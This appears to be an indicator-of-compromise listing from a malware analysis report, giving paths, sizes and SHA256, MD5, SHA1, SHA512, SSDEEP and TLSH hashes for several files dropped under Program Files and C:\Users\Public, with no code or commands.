- SHA256 455327f1c9ab4986fd0303d9a72297d17f5222384f0358258a90b1584e641242
- MD5 50fbd7b4fe8577416f8d4fa2cb226cbd
- SHA1 5469af68b392373893d9cd6c7a86698a0565e8fb
- SHA512 0eca1ce6853767a449d140b3a05baec87eb9065d07a98d9d91f0e67be720d20a15bd963979fb3b4671e6bb4311172de0228141804e46ba4fb984cfd32838563b
- SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nEXOnqaiOKZCUqyn78eT158P:yCMWmcKfST5t+BceThTHfaCCUqmJPg
- TLSH T10006334DBBDB561EE95272785F2EFC3E727829CC4308EC88D4A5354B90B2B79603990D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\v9U3uvjI5\XPSPLOG.dll
- Size 2.4MB
- SHA256 105f1f705d82fb665a5c5b6154673335443316874195ddeda89f9199ff6f2d0f
- MD5 4e453e3175c2b92ef995c65039db1979
- SHA1 4cea687275efc1749d6b7dff43f65e8a7624a686
- SHA512 46e4a15b7f9d2eba134498463dbe44b5221c12496297dbf921ab5d6eacb67cae5e64eb6eaa0d49da861b7f416b4611a9d5b1e7b2c152dc6ea4b06a20d78c45ed
- SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nEXOnU:yCMWmcKfST5t+BceThTHF
- TLSH T16FB5339BF557460EEA6133B82F9DFC6D72BD59C8C22DE548D492308B4014B6E903FA8D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\Music\destopbak.ini
- Size 2B
- SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
- MD5 7e74f75663e5b5a4f3452a4c603ee45d
- SHA1 d5114b086b721f2c87ea7152025792958ab4c629
- SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
- MD5 SHA1 SHA512
- Path C:\Users\Public\QertUl\UxEnhance64.dll
- Size 3.1MB
- SHA256 d0ac2e5503cebac60080264e9cf9429693dcb3c18687de8f044f30667ea7b6d1
- MD5 9ac39c3d99f628abf876de48d95b0e07
- SHA1 271be0e1b0d291d53f09a2627d9b0355aa8eee46
- SHA512 55bfe7cf358d91df361ac7345cfd46e41fef8cbd65514a3dc0f5d264c396ef2c5e05c406c975aa918a143c9bfa9af9a60032f1bef89f5b8b80ae7c3503a20638
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+v:P9m29xx3Tiqt06ox6+z2rNNrKov
- TLSH T1AEE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\QertUl\adoresd.dat
- Size 4.7MB
- SHA256 31684da1a7c94052bfba2bfc94f2b51b8a0ecfa03c57d6561b1a745b23a02b37
- MD5 a302763b407784ea976dffcb1c04c451
- SHA1 852df6a71bc97e954bfa915dc9316c76c7b0b3d8
- SHA512 1d5ef66cb1b9bdb90f051e4a9d3770753b376702bb7c974ca12c3bd2cd0db9b46f48ef8a24d0e3de0c99eab1ea668024f74e7e501571de551a8229447d56835b
- SSDEEP 98304:dKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:dKClqhi0Cv54K2IVS0VQg
- TLSH T1403633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\QertUl\msadox.tb
- Size 8KB
- SHA256 9368576ba9911e9962704d4f6b6b0834ab08265983223a15133e16d4a337f615
- MD5 ac3ceca9650e505d681dc57e00dfbf28
- SHA1 a4721bb56e5507c5bbd6d6a89dfae6c6b2499a34
- SHA512 4e9bbd90bbddc482a8fe15b705db37cf69f627ea685a763f340371178421c0d959fa90ad9dfef5dad1909ed90dd53e0a190328665e9b108eca7aaf0c2c5da12b
- SSDEEP 192:UqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:UsZqZOXQ3uqvR2Kfzp
- TLSH T101029E05D7A20CC7D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE624D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\QertUl\ps1wyX.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\c:\xxxx.ini
- Size 2B
- SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
- MD5 81051bcc2cf1bedf378224b0a93e2877
- SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
- SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
- MD5 SHA1 SHA512